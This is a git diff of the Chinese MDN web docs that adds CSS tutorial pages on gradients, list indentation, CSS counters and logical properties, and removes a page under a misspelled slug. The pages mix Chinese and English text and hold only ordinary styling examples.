+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+
+ +

{{ EmbedLiveSample('Creating_color_bands_stripes', 120, 120) }}

+ +

In the first example above, the lime goes from the 0% mark, which is implied, to the 20% mark, transitions from lime to red over the next 10% of the width of the gradient, reach solid red at the 30% mark, and staying solid red up until 45% through the gradient, where it fades to cyan, being fully cyan for 15% of the gradient, and so on.

+ +

In the second example, the second color stop for each color is at the same location as the first color stop for the adjacent color, creating a striped effect.

+ +

In both examples, the gradient is written twice: the first is the CSS Images Level 3 method of repeating the color for each stop and the second example is the CSS Images Level 4 multiple color stop method of including two color-stop-lengths in a linear-color-stop declaration.

+
+ +
+

Controlling the progression of a gradient

+ +

By default, a gradient evenly progresses between the colors of two adjacent color stops, with the midpoint between those two color stops being the midpoint color value. You can control the interpolation, or progression, between two color stops by including a color hint location. In this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through. The second example does not contain the hint to hilight the difference the color hint can make:

+ + + +
.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+
+ +

{{ EmbedLiveSample('Controlling_the_progression_of_a_gradient', 120, 120) }}

+
+ +

Overlaying gradients

+ +

Gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. The backgrounds are stacked from top to bottom, with the first specified being on top.

+ + + +
.layered-image {
+  background: linear-gradient(to right, transparent, mistyrose),
+      url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+
+ +

{{ EmbedLiveSample('Overlaying_gradients', 300, 150) }}

+ +

Stacked gradients

+ +

You can even stack gradients with other gradients. As long as the top gradients aren't entirely opaque, the gradients below will still be visible.

+ + + +
.stacked-linear {
+  background:
+      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+
+ +

{{ EmbedLiveSample('Stacked_gradients', 200, 200) }}

+ +

Using radial gradients

+ +

Radial gradients are similar to linear gradients, except that they radiate out from a central point. You can dictate where that central point is. You can also make them circular or elliptical.

+ +

A basic radial gradient

+ +

As with linear gradients, all you need to create a radial gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, and the gradient is elliptical matching the aspect ratio of it's box:

+ + + +
.simple-radial {
+  background: radial-gradient(red, blue);
+}
+
+ +

{{ EmbedLiveSample('A_basic_radial_gradient', 120, 120) }}

+ +

Positioning radial color stops

+ +

Again like linear gradients, you can position each radial color stop with a percentage or absolute length.

+ + + +
.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_radial_color_stops', 120, 120) }}

+ +

Positioning the center of the gradient

+ +

You can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.

+ + + +
.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_the_center_of_the_gradient', 120, 120) }}

+ +

Sizing radial gradients

+ +

Unlike linear gradients, you can specify the size of radial gradients. Possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default.

+ +

Example: closest-side for ellipses

+ +

This example uses the closest-side size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.

+ + + +
.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_closest-side_for_ellipses', 240, 100) }}

+ +

Example: farthest-corner for ellipses

+ +

This example is similar to the previous one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.

+ + + +
.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner at 90% 90%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_farthest-corner_for_ellipses', 240, 100) }}

+ +

Example: closest-side for circles

+ +

This example uses closest-side, which makes the circle's size to be the distance between the starting point (the center) and the closest side. The circle's radius is the distance between the center of the gradient and the closest edge, which due to the positioning of the 25% from the top and 25% from the bottom, is closest to the bottom, since the height in this case is narrower than the width.

+ + + +
.radial-circle-close {
+  background: radial-gradient(circle closest-side at 25% 75%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_closest-side_for_circles', 240, 120) }}

+ +

Stacked radial gradients

+ +

Just like linear gradients, you can also stack radial gradients. The first specified is on top, the last on the bottom.

+ + + +
.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+
+ +

{{ EmbedLiveSample('Stacked_radial_gradients', 200, 200) }}

+ +

Using repeating gradients

+ +

The {{cssxref("linear-gradient")}} and {{cssxref("radial-gradient")}} properties don't support automatically repeated color stops. However, the {{cssxref("repeating-linear-gradient")}} and {{cssxref("repeating-radial-gradient")}} properties are available to offer this functionality.

+ +

The size of the gradient line that repeats is the length between the first color stop value and the last color stop length value. If the last color stop has just a color and no color stop length, the value defaults to 0, meaning the linear gradient will not repeat and the radial gradient will only repeat if the radius of the gradient is smaller than the length between the center of the gradient and the farthest corner.

+ +
+

Repeating linear gradients

+ +

This example uses {{cssxref("repeating-linear-gradient")}} to create a gradient that progresses repeatedly in a straight line. The colors get cycled over again as the gradient repeats. In this case the gradient line is 10px long.

+ + + +
.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+
+ +

{{ EmbedLiveSample('Repeating_linear_gradients', 120, 120) }}

+
+ +
+

Multiple repeating linear gradients

+ +

Similar to regular linear and radial gradients, you can include multiple gradients, one on top of the other. This only makes sense if the gradients are partially transparent allowing subsequent gradients to show through the transparent areas, or if you include different background-sizes, optionally with different background-position property values, for each gradient image. We are using transparency.

+ +

In this case the gradient lines are 300px, 230px, and 300px long.

+ + + +
.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+
+ +

{{ EmbedLiveSample('Multiple_repeating_linear_gradients', 600, 400) }}

+
+ +

Plaid gradient

+ +

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

+ + + +
.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+
+ +

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

+ +

Repeating radial gradients

+ +

This example uses {{cssxref("repeating-radial-gradient")}} to create a gradient that radiates repeatedly from a central point. The colors get cycled over and over as the gradient repeats.

+ + + +
.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+
+ +

{{ EmbedLiveSample('Repeating_radial_gradients', 120, 120) }}

+ +

Multiple repeating radial gradients

+ + + +
.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+
+ +

{{ EmbedLiveSample('Multiple_repeating_radial_gradients', 250, 150) }}

+ +

Plaid gradient

+ +

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

+ +
<div class="plaid-gradient"></div>
+ +
div {
+  width: 200px;
+  height: 200px;
+}
+ +
.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+
+ +

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

+ +

See also

+ + diff --git a/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html b/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html new file mode 100644 index 0000000000..1426940c48 --- /dev/null +++ b/files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html @@ -0,0 +1,106 @@ +--- +title: 调整列表缩进 +slug: Web/Guide/CSS/Consistent_list_indentation +tags: + - CSS + - Guide + - NeedsUpdate + - Web + - 列表 + - 缩进 +translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation +--- +

对列表最常见的样式修改之一是改变缩进距离,即列表项向右侧移动的距离。令人沮丧的是,缩进在一个浏览器中的表现常常与其他浏览器中的效果不尽相同。例如,如果声明列表的左边距为0,在IE浏览器中生效,但是在基于Gecko引擎的浏览器中却不起作用。本文将帮助你理解这些可能发生的问题,以及如何避免这些问题的产生。

+ +

为了弄明白这是为什么,以及如何避免这些问题发生,有必要研究一下列表结构的具体细节。

+ +

创建一个列表

+ +

首先,来看一个简单,单独的列表项目。该列表项目没有标记符号(或称之为“着重号”),并且没有被列表包裹起来。如下图图1所示,单独的列表项是无效的,简单且没有任何装饰。

+ +

Figure 1

+ +

红色的虚线边框代表列表项目内容区域的外边界。记住,从这一点上看,这个列表项目没有内边距和边框。如果我们再添加两个列表项目,我们得到下面的结果,如图2所示。

+ +

Figure 2

+ +

现在我们在外面加上父元素;这个例子中,我们使用一个无序列表(i.e., <ul>)。根据 CSS 盒子模型,列表项目的盒子必须显示在其父元素的内容区域里。因为这里的父元素既没有 padding 也没有 margin,所以我们得到下面的结果,如图3所示。

+ +

Figure 3

+ +

这里,蓝色的虚线边框表示 <ul> 元素内容区域的边缘。因为我们没有给 <ul> 元素添加内边距,  所以它的内容的包裹层紧贴在三个列表项外。

+ +

现在我们来添加列表项目标记,由于这是一个无序列表,我们添加传统的实心圆“着重标记”,如下图图4所示。

+ +

Figure 4

+ +

可以看到,这些标记符号在<ul>内容区域的外面,但这无关紧要。重要的是,这些标记被放到主要的<li>元素盒子外面了。它们有点像列表项目的附件,在<li>的内容区域外游荡,但依然依附于<li>。

+ +

这就是为什么在除了IE浏览器以外的所有浏览器上,标记符号都被放在<li>元素的边框外,假设列表项位置的值为外部"outside"。如果该值被改为内部"inside",则标记符号会被放到<li>的内容区域里面,像是放在<li>最开头的内联盒子一样。

+ +

二次缩进

+ +

So how will all this appear in a document? At the moment, we have a situation analogous to these styles:

+ +
ul, li {margin-left: 0; padding-left: 0;}
+ +

If we dropped this list into a document as-is, there would be no apparent indentation and the markers would be in danger of falling off the left edge of the browser window.

+ +

In order to avoid this and get some indentation, there are really only three options available to browser implementors.

+ +
    +
  1. Give each <li> element a left margin.
  2. +
  3. Give the <ul> element a left margin.
  4. +
  5. Give the <ul> element some left padding.
  6. +
+ +

As it turns out, nobody seems to have used the first option. The second option was taken by Internet Explorer for Windows and Macintosh, and Opera. The third was adopted by Gecko, and by extension all the browsers that embed it.

+ +

Let's look at the two approaches for a moment. In Internet Explorer and Opera, the lists are indented by setting a left margin of 40 pixels on the <ul> element. If we apply a background color to the <ul> element and leave the list item and <ul> borders in place, we get the result shown in Figure 5.

+ +

Figure 5

+ +

Gecko, on the other hand, sets a left padding of 40 pixels for the <ul> element, so given the exact same styles as were used to produce Figure 5, loading the example into a Gecko-based browser gives us Figure 6.

+ +

Figure 6

+ +

As we can see, the markers remain attached to the <li> elements, no matter where they are. The difference is entirely in how the <ul> is styled. We can only see the difference if we try to set a background or border on the <ul> element.

+ +

Finding Consistency

+ +

Boil it all down, and what we're left with is this: if you want consistent rendering of lists between Gecko, Internet Explorer, and Opera, you need to set both the left margin and left padding of the <ul> element. We can ignore <li> altogether for these purposes. If you want to reproduce the default display in Netscape 6.x, you write:

+ +
ul {margin-left: 0; padding-left: 40px;}
+ +

If you're more interested in following the Internet Explorer/Opera model, then:

+ +
ul {margin-left: 40px; padding-left: 0;}
+ +

Of course, you can fill in your own preferred values. Set both to 1.25em, if you like -- there's no reason why you have to stick with pixel-based indentation. If you want to reset lists to have no indentation, then you still have to zero out both padding and margin:

+ +
ul {margin-left: 0; padding-left: 0;}
+ +

Remember, though, that in so doing, you'll have the bullets hanging outside the list and its parent element. If the parent is the body, there's a strong chance your bullets will be completely outside the browser window, and thus will not be visible.

+ +

结论

+ +

In the end, we can see that none of the browsers mentioned in this article is right or wrong about how they lay out lists. They use different default styles, and that's where the problems creep in. By making sure you style both the left padding and left margin of lists, you can find much greater cross-browser consistency in your list indentation.

+ +

建议

+ + + +
+

原始文档信息

+ + +
+ +

{{ languages( { "fr": "fr/Indentation_homog\u00e8ne_des_listes" } ) }}

diff --git a/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html b/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html new file mode 100644 index 0000000000..4a8fa17797 --- /dev/null +++ b/files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html @@ -0,0 +1,120 @@ +--- +title: 使用CSS计数器 +slug: Web/Guide/CSS/Counters +tags: + - CSS + - CSS List + - Web + - counter + - 教程 +translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +
{{CSSRef}}
+ +

本质上CSS计数器是由CSS维护的变量,这些变量可能根据CSS规则增加以跟踪使用次数。这允许你根据文档位置来调整内容表现。 CSS计数器是CSS2.1中自动计数编号部分的实现。

+ +

计数器的值通过使用{{cssxref("counter-reset")}} 和 {{cssxref("counter-increment")}} 操作,在 content 上应用 counter()counters()函数来显示在页面上。

+ +

使用计数器

+ +

使用CSS计数器之前,必须重置一个值,默认是0。使用{{cssxref("counter()")}}函数来给元素增加计数器。 下面的CSS给每个h3元素的前面增加了 "Section <计算器值>:"。

+ +
body {
+  counter-reset: section;           /* 重置计数器成0 */
+}
+h3:before {
+  counter-increment: section;      /* 增加计数器值 */
+  content: "Section " counter(section) ": "; /* 显示计数器 */
+}
+
+ +

例如:

+ +
<h3>Introduction</h3>
+<h3>Body</h3>
+<h3>Conclusion</h3>
+ +

{{ EmbedLiveSample('使用计数器', 300,200) }}

+ +

计数器嵌套

+ +

CSS计数器对创建有序列表特别有用,因为在子元素中会自动创建一个CSS计数器的实例。使用 counters() 函数,在不同级别的嵌套计数器之间可以插入字符串。比如这个CSS例子:

+ +
ol {
+  counter-reset: section;                /* 为每个ol元素创建新的计数器实例 */
+  list-style-type: none;
+}
+li:before {
+  counter-increment: section;            /* 只增加计数器的当前实例 */
+  content: counters(section, ".") " ";   /* 为所有计数器实例增加以“.”分隔的值 */
+}
+
+ +

结合下面的HTML:

+ +
<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item               <!-- 2     -->
+    <ol>
+      <li>item</li>      <!-- 2.1   -->
+      <li>item</li>      <!-- 2.2   -->
+      <li>item           <!-- 2.3   -->
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+        </ol>
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+          <li>item</li>  <!-- 2.3.3 -->
+        </ol>
+      </li>
+      <li>item</li>      <!-- 2.4   -->
+    </ol>
+  </li>
+  <li>item</li>          <!-- 3     -->
+  <li>item</li>          <!-- 4     -->
+</ol>
+<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item</li>          <!-- 2     -->
+</ol>
+ +

结果为:

+ +

{{ EmbedLiveSample('计数器嵌套') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}无变化
{{SpecName('CSS2.1', 'generate.html#generate.html#counters', 'counter-reset')}}{{Spec2('CSS2.1')}}初始定义
+ +

其它

+ + + +

另一个可用的示例在 http://www.mezzoblue.com/archives/20.../counter_intu/。这篇博客 发布于2006年11月1日,但是看上去写得还是准确的。

+ +
 
diff --git a/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html b/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html new file mode 100644 index 0000000000..cfce90ff34 --- /dev/null +++ b/files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html @@ -0,0 +1,71 @@ +--- +title: 逻辑属性的和值的基本概念 +slug: Web/CSS/CSS_Logical_Properties/Basic_conceptsjie +translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts +--- +
{{CSSRef}}
+ +

逻辑属性与值详述中为CSS中许多属性和值引入相对浮动功能。本文介绍了详述,同时对浮动相关的属性和值做出了解释。

+ +

我们为什么需要逻辑属性?

+ +

传统CSS根据屏幕的物理大小定义了 traditionally has sized things according to the physical dimensions of the screen. Therefore we describe boxes as having a {{CSSxRef("width")}} and {{CSSxRef("height")}}, position items from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc. The Logical Properties and Values specification defines mappings for these physical values to their logical, or flow relative, counterparts — e.g. start and end as opposed to left and right/top and bottom.

+ +

An example of why these mappings might be needed is as follows. I have a Layout using CSS Grid, the grid container has a width applied and I am using the {{CSSxRef("align-self")}} and {{CSSxRef("justify-self")}} properties to align the items. These properties are flow relative — justify-self: start aligns the item to the start on the inline dimension, align-self: start does the same on the block dimension.

+ +

A grid in a horizontal writing mode

+ +

If I now change the writing mode of this component to vertical-rl using the {{CSSxRef("writing-mode")}} property, the alignment continues to work in the same way. The inline dimension is now running vertically and the block dimension horizontally. The grid doesn't look the same however, as the width assigned to the container is a horizontal measure, a measure tied to the physical and not the logical or flow relative running of the text.

+ +

A grid in vertical writing mode.

+ +

If instead of the width property we use the logical property {{CSSxRef("inline-size")}}, the component now works the same way no matter which writing mode it is displayed using.

+ +

A grid layout in vertical writing mode

+ +

You can try this out in the live example below. Change writing-mode from vertical-rl to horizontal-tb on .box to see how the different properties change the layout.

+ +

{{EmbedGHLiveSample("css-examples/logical/intro-grid-example.html", '100%', 700)}}

+ +

When working with a site in a writing mode other than a horizontal, top to bottom one, or when using writing modes for creative reasons, being able to relate to the flow of the content makes a lot of sense.

+ +

Block and inline dimensions

+ +

A key concept of working with flow relative properties and values is the two dimensions of block and inline. As we saw above, newer CSS layout methods such as Flexbox and Grid Layout use the concepts of block and inline rather than right and left/top and bottom when aligning items.

+ +

The inline dimension is the dimension along which a line of text runs in the writing mode in use. Therefore, in an English document with the text running horizontally left to right, or an Arabic document with the text running horizontally right to left, the inline dimension is horizontal. Switch to a vertical writing mode (e.g. a Japanese document) and the inline dimension is now vertical, as lines in that writing mode run vertically.

+ +

The block dimension is the other dimension, and the direction in which blocks — such as paragraphs — display one after the other. In English and Arabic these run vertically, whereas in any vertical writing mode these run horizontally.

+ +

The below diagram shows the inline and block directions in a horizontal writing mode:

+ +

diagram showing the inline axis running horizontally, block axis vertically.

+ +

This diagram shows block and inline in a vertical writing mode:

+ +

Diagram showing the block axis running horizontally the inline axis vertically.

+ +

Browser support

+ +

Logical Properties and Values can be thought of as a couple of groups in terms of current browser support. Some of the properties are essentially mappings from the physical versions, for example {{CSSxRef("inline-size")}} for {{CSSxRef("width")}} or {{CSSxRef("margin-inline-start")}} rather than {{CSSxRef("margin-left")}}. These mapped properties are starting to see good browser support, and if you look at the individual pages for the properties in the reference here on MDN you will see that Edge is the only modern browser currently missing these.

+ +

There are then a group of properties which do not have a direct mapping in terms of existing physical properties. These are shorthands made possible by the fact that we can refer to both edges of the block or inline dimension at once. An example would be {{CSSxRef("margin-block")}}, which is a shorthand setting for {{CSSxRef("margin-block-start")}} and {{CSSxRef("margin-block-end")}}. These currently have no browser support.

+ +
+

Note: The CSS Working Group are currently trying to decide what to do about the four-value shorthands for logical properties, for example the equivalents to setting four physical properties at once, like margins with the {{CSSxRef("margin")}} property. We would need some kind of modifier if we were to reuse margin for flow-relative properties. If you would like to read the suggestions or comment on them the relevant GitHub issue is #1282.

+
+ +

Testing for browser support

+ +

You can test for support of logical properties and values using feature queries. For example you could set a {{CSSxRef("width")}}, test for {{CSSxRef("inline-size")}} and, if it is supported, set the width to auto and the inline-size to the original width value.

+ +

{{EmbedGHLiveSample("css-examples/logical/intro-feature-queries.html", "100%", 700)}}

+ +

See also

+ + diff --git a/files/zh-cn/web/css/css_logical_properties/basic_conceptsjie/index.html b/files/zh-cn/web/css/css_logical_properties/basic_conceptsjie/index.html deleted file mode 100644 index cfce90ff34..0000000000 --- a/files/zh-cn/web/css/css_logical_properties/basic_conceptsjie/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: 逻辑属性的和值的基本概念 -slug: Web/CSS/CSS_Logical_Properties/Basic_conceptsjie -translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts ---- -
{{CSSRef}}
- -

逻辑属性与值详述中为CSS中许多属性和值引入相对浮动功能。本文介绍了详述,同时对浮动相关的属性和值做出了解释。

- -

我们为什么需要逻辑属性?

- -

传统CSS根据屏幕的物理大小定义了 traditionally has sized things according to the physical dimensions of the screen. Therefore we describe boxes as having a {{CSSxRef("width")}} and {{CSSxRef("height")}}, position items from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc. The Logical Properties and Values specification defines mappings for these physical values to their logical, or flow relative, counterparts — e.g. start and end as opposed to left and right/top and bottom.

- -

An example of why these mappings might be needed is as follows. I have a Layout using CSS Grid, the grid container has a width applied and I am using the {{CSSxRef("align-self")}} and {{CSSxRef("justify-self")}} properties to align the items. These properties are flow relative — justify-self: start aligns the item to the start on the inline dimension, align-self: start does the same on the block dimension.

- -

A grid in a horizontal writing mode

- -

If I now change the writing mode of this component to vertical-rl using the {{CSSxRef("writing-mode")}} property, the alignment continues to work in the same way. The inline dimension is now running vertically and the block dimension horizontally. The grid doesn't look the same however, as the width assigned to the container is a horizontal measure, a measure tied to the physical and not the logical or flow relative running of the text.

- -

A grid in vertical writing mode.

- -

If instead of the width property we use the logical property {{CSSxRef("inline-size")}}, the component now works the same way no matter which writing mode it is displayed using.

- -

A grid layout in vertical writing mode

- -

You can try this out in the live example below. Change writing-mode from vertical-rl to horizontal-tb on .box to see how the different properties change the layout.

- -

{{EmbedGHLiveSample("css-examples/logical/intro-grid-example.html", '100%', 700)}}

- -

When working with a site in a writing mode other than a horizontal, top to bottom one, or when using writing modes for creative reasons, being able to relate to the flow of the content makes a lot of sense.

- -

Block and inline dimensions

- -

A key concept of working with flow relative properties and values is the two dimensions of block and inline. As we saw above, newer CSS layout methods such as Flexbox and Grid Layout use the concepts of block and inline rather than right and left/top and bottom when aligning items.

- -

The inline dimension is the dimension along which a line of text runs in the writing mode in use. Therefore, in an English document with the text running horizontally left to right, or an Arabic document with the text running horizontally right to left, the inline dimension is horizontal. Switch to a vertical writing mode (e.g. a Japanese document) and the inline dimension is now vertical, as lines in that writing mode run vertically.

- -

The block dimension is the other dimension, and the direction in which blocks — such as paragraphs — display one after the other. In English and Arabic these run vertically, whereas in any vertical writing mode these run horizontally.

- -

The below diagram shows the inline and block directions in a horizontal writing mode:

- -

diagram showing the inline axis running horizontally, block axis vertically.

- -

This diagram shows block and inline in a vertical writing mode:

- -

Diagram showing the block axis running horizontally the inline axis vertically.

- -

Browser support

- -

Logical Properties and Values can be thought of as a couple of groups in terms of current browser support. Some of the properties are essentially mappings from the physical versions, for example {{CSSxRef("inline-size")}} for {{CSSxRef("width")}} or {{CSSxRef("margin-inline-start")}} rather than {{CSSxRef("margin-left")}}. These mapped properties are starting to see good browser support, and if you look at the individual pages for the properties in the reference here on MDN you will see that Edge is the only modern browser currently missing these.

- -

There are then a group of properties which do not have a direct mapping in terms of existing physical properties. These are shorthands made possible by the fact that we can refer to both edges of the block or inline dimension at once. An example would be {{CSSxRef("margin-block")}}, which is a shorthand setting for {{CSSxRef("margin-block-start")}} and {{CSSxRef("margin-block-end")}}. These currently have no browser support.

- -
-

Note: The CSS Working Group are currently trying to decide what to do about the four-value shorthands for logical properties, for example the equivalents to setting four physical properties at once, like margins with the {{CSSxRef("margin")}} property. We would need some kind of modifier if we were to reuse margin for flow-relative properties. If you would like to read the suggestions or comment on them the relevant GitHub issue is #1282.

-
- -

Testing for browser support

- -

You can test for support of logical properties and values using feature queries. For example you could set a {{CSSxRef("width")}}, test for {{CSSxRef("inline-size")}} and, if it is supported, set the width to auto and the inline-size to the original width value.

- -

{{EmbedGHLiveSample("css-examples/logical/intro-feature-queries.html", "100%", 700)}}

- -

See also

